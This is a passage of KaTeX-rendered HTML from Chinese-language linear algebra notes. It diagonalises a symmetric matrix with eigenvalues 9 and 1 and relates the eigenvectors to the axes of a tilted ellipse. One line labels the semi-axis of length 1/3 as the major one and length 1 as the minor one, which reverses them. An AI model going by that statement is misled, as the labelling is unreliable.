class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">9</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>λ</mi><mn>2</mn></msub><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex"> \lambda_2 = 1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>。</p><p>对应的特征向量为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mn>1</mn></msub><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex"> x_1 = \begin{bmatrix} 1 \\ 1 \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mn>2</mn></msub><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex"> x_2 = \begin{bmatrix} 1 \\ -1 \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span></span></span></span>。</p><p>将特征向量归一化，得到正交矩阵：<p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>Q</mi><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex"> Q = \frac{1}{\sqrt{2}} \begin{bmatrix} 1 &amp; 1 \\ 1 &amp; -1 \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord">2</span></span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span></span></span></span></span></p></p><blockquote><p><strong>The axes of the tilted ellipse point along those eigenvectors.</strong></p></blockquote><p>由图可见，椭圆的主轴与特征向量方向一致。</p><p>它的主轴长度与特征值相关，主半轴长度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mn>1</mn><msqrt><msub><mi>λ</mi><mn>1</mn></msub></msqrt></mfrac></mrow><annotation encoding="application/x-tex"> \frac{1}{\sqrt{\lambda_1}} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.3831em;vertical-align:-0.538em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.5836em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8663em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;"><span class="mord mtight"><span class="mord mathnormal mtight">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.8263em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1737em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.538em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>，半短轴长度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mn>1</mn><msqrt><msub><mi>λ</mi><mn>2</mn></msub></msqrt></mfrac></mrow><annotation encoding="application/x-tex"> \frac{1}{\sqrt{\lambda_2}} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.3831em;vertical-align:-0.538em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.5836em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8663em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;"><span class="mord mtight"><span class="mord mathnormal mtight">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.8263em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1737em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.538em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>。</p><p>在这里，主半轴长度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mn>1</mn><msqrt><mn>9</mn></msqrt></mfrac><mo>=</mo><mfrac><mn>1</mn><mn>3</mn></mfrac></mrow><annotation encoding="application/x-tex"> \frac{1}{\sqrt{9}} = \frac{1}{3} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.3831em;vertical-align:-0.538em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.551em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9128em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;"><span class="mord mtight">9</span></span></span><span style="top:-2.8728em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1272em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.538em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">3</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>，半短轴长度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mn>1</mn><msqrt><mn>1</mn></msqrt></mfrac><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex"> \frac{1}{\sqrt{1}} = 1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.3831em;vertical-align:-0.538em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.551em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9128em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;"><span class="mord mtight">1</span></span></span><span style="top:-2.8728em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1272em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.538em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>。</p><p>因为是斜着的，所以两个长短轴各端点分别为 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mo fence="true">(</mo><mo>±</mo><mfrac><mn>1</mn><mrow><mn>3</mn><msqrt><mn>2</mn></msqrt></mrow></mfrac><mo separator="true">,</mo><mo>±</mo><mfrac><mn>1</mn><mrow><mn>3</mn><msqrt><mn>2</mn></msqrt></mrow></mfrac><mo fence="true">)</mo></mrow><annotation encoding="application/x-tex"> \left( \pm \frac{1}{3\sqrt{2}}, \pm \frac{1}{3\sqrt{2}} \right) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord">±</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">3</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord">2</span></span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">±</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">3</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord">2</span></span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span></span></span></span></span></p> 和 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mo fence="true">(</mo><mo>±</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mo separator="true">,</mo><mo>∓</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mo fence="true">)</mo></mrow><annotation encoding="application/x-tex"> \left( \pm \frac{1}{\sqrt{2}}, \mp \frac{1}{\sqrt{2}} \right) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord">±</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord">2</span></span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 